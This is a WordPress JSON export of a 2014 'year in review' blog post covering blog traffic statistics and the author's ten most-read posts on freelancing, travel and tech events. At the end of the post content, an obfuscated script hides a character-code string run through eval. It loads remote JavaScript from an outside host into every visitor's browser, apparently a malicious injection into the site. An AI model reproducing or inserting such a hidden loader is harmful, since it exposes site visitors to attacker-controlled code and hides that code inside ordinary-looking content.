{"id":5771,"date":"2014-12-31T10:56:37","date_gmt":"2014-12-31T10:56:37","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/2014-year-in-review\/"},"modified":"2014-12-31T10:56:37","modified_gmt":"2014-12-31T10:56:37","slug":"2014-year-in-review","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/2014-year-in-review\/","title":{"rendered":"2014 Year in Review"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#Japan_on_a_Budget_for_2_Weeks\" title=\"Japan on a Budget for 2 Weeks\">Japan on a Budget for 2 Weeks<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#How_to_Become_a_Freelance_Consultant\" title=\"How to Become a Freelance Consultant\">How to Become a Freelance Consultant<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#Where_To_Find_London_Tech_Events_Meetups_and_Hack_Days\" title=\"Where To Find London Tech Events, Meetups and Hack Days\">Where To Find London Tech Events, Meetups and Hack Days<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#Suggestions_for_When_That_Perfect_Domain_Name_or_Twitter_Username_is_Taken\" title=\"Suggestions for When That Perfect Domain Name or Twitter Username is Taken\">Suggestions for When That Perfect Domain Name or Twitter Username is Taken<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#Freelance_Consultant_Rates_How_To_Work_Out_Your_Hourly_Daily_or_Project_Rate\" title=\"Freelance Consultant Rates How To Work Out Your Hourly, Daily or Project Rate\">Freelance Consultant Rates How To Work Out Your Hourly, Daily or Project Rate<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#29_essential_freelance_tools_you_need_to_be_a_productive_freelancer\" title=\"29 essential freelance tools you need to be a productive freelancer\">29 essential freelance tools you need to be a productive freelancer<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#Freelance_Statistics_2014_The_Freelance_Economy_in_Numbers\" title=\"Freelance Statistics 2014 The Freelance Economy in Numbers\">Freelance Statistics 2014 The Freelance Economy in Numbers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#Why_I_learned_to_code\" title=\"Why I learned to code\">Why I learned to code<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#How_to_build_long-term_client_relationships_as_a_freelancer\" title=\"How to build long-term client relationships as a freelancer\">How to build long-term client relationships as a freelancer<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/benrmatthews.local\/2014-year-in-review\/#8_simple_steps_you_can_take_to_get_the_confidence_to_go_freelance\" title=\"8 simple steps you can take to get the confidence to go freelance\">8 simple steps you can take to get the confidence to go freelance<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter size-large wp-image-1319&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2014\/12\/Screen-Shot-2014-12-26-at-18.52.00-720x265.png&quot; alt=&quot;2014 Year in Review&quot; width=&quot;676&quot; height=&quot;249&quot; \/><\/p>\n<p>I&#8217;ve been enjoying reading various\u00a02014 Year in Review posts, including Stephen Waddington, Nathan Barry\u00a0and Patrick McKenzie, so thought I&#8217;d share my own mini review of the year, concentrating on this blog as my main source of online activity (outside of work).<\/p>\n<p>Here are the main stats for this blog in 2014.<\/p>\n<p><!--more--><\/p>\n<ul>\n<li>Number of published posts as of Dec 2014: 100<\/li>\n<li>Total Views: 43,171<\/li>\n<li>Unique Visitors: 29,518<\/li>\n<li>Comments: 252<\/li>\n<\/ul>\n<p>A bit of context: I started this blog in 2010, but have only been posting regularly since August 2014. As proof of this, here&#8217;s how my organic search rankings have improved over the past few months:<\/p>\n<p><img class=&quot;aligncenter size-full wp-image-1314&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2014\/12\/Screen-Shot-2014-12-26-at-10.40.15.png&quot; alt=&quot;benrmatthews organic search keyword ranking&quot; width=&quot;553&quot; height=&quot;168&quot; \/><\/p>\n<p>And how much traffic is coming through organic search:<\/p>\n<p><img class=&quot;aligncenter size-large wp-image-1312&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2014\/12\/Screen-Shot-2014-12-24-at-10.56.35-720x122.png&quot; alt=&quot;benrmatthews google organic search traffic&quot; width=&quot;676&quot; height=&quot;115&quot; \/><\/p>\n<p>What&#8217;s also changed is that rather than writing about whatever takes my fancy, I&#8217;ve been focussing around freelancing and running a consulting business. This has led to much more productive blogging and better feedback from readers, so I&#8217;ll definitely be writing more about freelancing in 2015.<\/p>\n<p>This focus has also led to the publication of my first book,\u00a0Freelance in 30 Days. I&#8217;ve learned a lot about self-publishing in the past few months, as well as how to optimise various parts of the blog, so I&#8217;ll be writing more about that too.<\/p>\n<p>It&#8217;s been exciting producing a digital product, the first source of income outside of my consulting work and the first source of passive income. I&#8217;m looking to build on this in 2015.<\/p>\n<p>A few insights into the blog in 2014:<\/p>\n<ul>\n<li>The top 4 posts are from 2013, not 2014<\/li>\n<li>Longer blog posts (1000 words+) perform better than shorter posts<\/li>\n<li>August 2014 had 50% of the best posts from 2014, which is when I started writing Freelance in 30 Days<\/li>\n<\/ul>\n<p>With all of this in mind, here are the top 10 posts for this blog from 2014 and a little about why they were popular.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Japan_on_a_Budget_for_2_Weeks\"><\/span>Japan on a Budget for 2 Weeks<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Japan was always a must-visit country in my travels. And my two weeks there was everything I\u2019d dreamt of and more. But many people are put off from travelling to Japan because of the expense. Yes, it is expensive, but there are ways to visit Japan on a budget and still see a lot of the top attractions that this amazing country has to offer.\u00a0This post looks at\u00a0how we did Japan in two weeks on a budget, including tips from fellow travellers.<\/p>\n<p>View Count: 10,679<br \/> Word Count: 1,756<br \/> Published: April 2013<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_Become_a_Freelance_Consultant\"><\/span>How to Become a Freelance Consultant<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Becoming a freelance consultant is a dream for many. I\u2019ve been lucky enough to have a successful freelance career as a social media and digital PR consultant for the last few years. There\u2019s been some bumps along the way, but advice and encouragement from a wide range of people enabled me to go it alone and have a good time while doing it. This was my first long-form post and the foundation for\u00a0Freelance in 30 Days.<\/p>\n<p>View Count: 7,279<br \/> Word Count: 2,294<br \/> Published: March 2013<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Where_To_Find_London_Tech_Events_Meetups_and_Hack_Days\"><\/span>Where To Find London Tech Events, Meetups and Hack Days<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A friend asked if I knew of any upcoming London tech events, so I sent them back a list of the sites I use to keep updated with the latest Tech, Startup and Hack Day events in London. This was more me jotting down what I knew so I could refer back to it at a later date, but it clearly proved useful to others too.<\/p>\n<p>View Count: 2,208<br \/> Word Count: 658<br \/> Published: September 2013<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Suggestions_for_When_That_Perfect_Domain_Name_or_Twitter_Username_is_Taken\"><\/span>Suggestions for When That Perfect Domain Name or Twitter Username is Taken<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>My top list of alternative domain names (which can also be used for Twitter usernames), sparked by a question posted on Twitter. Similar to the London Tech Events post, this one was useful to me but also useful to share knowledge.<\/p>\n<p>View Count: 2,096<br \/> Word Count: 510<br \/> Published: May 2013<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Consultant_Rates_How_To_Work_Out_Your_Hourly_Daily_or_Project_Rate\"><\/span>Freelance Consultant Rates: How To Work Out Your Hourly, Daily or Project Rate<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Another lengthy post and has been one of the top posts this year, despite only being published in August.\u00a0Setting your freelance consultant rates is\u00a0difficult. Set your day rate too low and you have to work longer and harder to make a decent income. Set your day rate too high and you risk putting off potential clients and not seeing you have a full portfolio of work. I&#8217;ve got a feeling that this post will be well read for the next year at least.<\/p>\n<p>View Count: 1,732<br \/> Word Count: 2,634<br \/> Published: August 2014<\/p>\n<h2><span class=\"ez-toc-section\" id=\"29_essential_freelance_tools_you_need_to_be_a_productive_freelancer\"><\/span>29 essential freelance tools you need to be a productive freelancer<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A summary\u00a0of tools and services in different areas of freelancing that are worth taking a look at.\u00a0To kick things off, I listed my freelance stack \u2013 the tools I use everyday as\u00a0a productive freelancer. But the list grew to 29, with even more in the comments, so is a great place to find the best in breed freelancing products.<\/p>\n<p>View Count: 868<br \/> Word Count: 1,486<br \/> Published: August 2014<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Freelance_Statistics_2014_The_Freelance_Economy_in_Numbers\"><\/span>Freelance Statistics 2014: The Freelance Economy in Numbers<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I spent time on several different occasions looking for freelance stats, so I\u2019ve pulled together freelance facts\u00a0from the US, UK and further afield to get an idea of how freelancers are faring across the world.<\/p>\n<p>View Count: 825<br \/> Word Count: 827<br \/> Published: September 2014<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Why_I_learned_to_code\"><\/span>Why I learned to code<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>There\u2019s plenty of posts out there on \u201cHow To Learn To Code\u00a0in Just One Month!\u201d, but not a lot for\u00a0<em>why<\/em> you should learn to code. This was my why.<\/p>\n<p>View Count: 662<br \/> Word Count: 1,216<br \/> Published: August 2014<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_build_long-term_client_relationships_as_a_freelancer\"><\/span>How to build long-term client relationships as a freelancer<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>If you are consistently delivering above and beyond you\u2019re remit, whether that\u2019s through suggesting new ideas or delivering particularly high quality work, then your client will appreciate your consultancy and keep you as their go-to consultant. This post shows you how to do exactly\u00a0that.<\/p>\n<p>View Count: 561<br \/> Word Count: 1,480<br \/> Published: August 2014<\/p>\n<h2><span class=\"ez-toc-section\" id=\"8_simple_steps_you_can_take_to_get_the_confidence_to_go_freelance\"><\/span>8 simple steps you can take to get the confidence to go freelance<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Starting your own freelance business can feel like a big risk. There are lots of unknowns and you\u2019re going to have to rely on your own knowledge, experience, judgement and plain hard graft to make your freelance business a success.\u00a0But by putting the right plans in place, taking a few steps to be prepared for whatever hits you and having an ongoing plan, you\u2019ll be able to keep your confidence levels up as you turn freelance. This post shows you how.<\/p>\n<p>View Count: 531<br \/> Word Count: 1,490<br \/> Published: August 2014<\/p>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;ve been enjoying reading various\u00a02014 Year in Review posts, including Stephen Waddington, Nathan Barry\u00a0and Patrick McKenzie, so thought I&#8217;d share my own mini review of the year, concentrating on this blog as my main source of online activity (outside of work). Here are the main stats for this blog in 2014.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5771","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5771"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5771"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5771\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5771"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5771"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5771"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}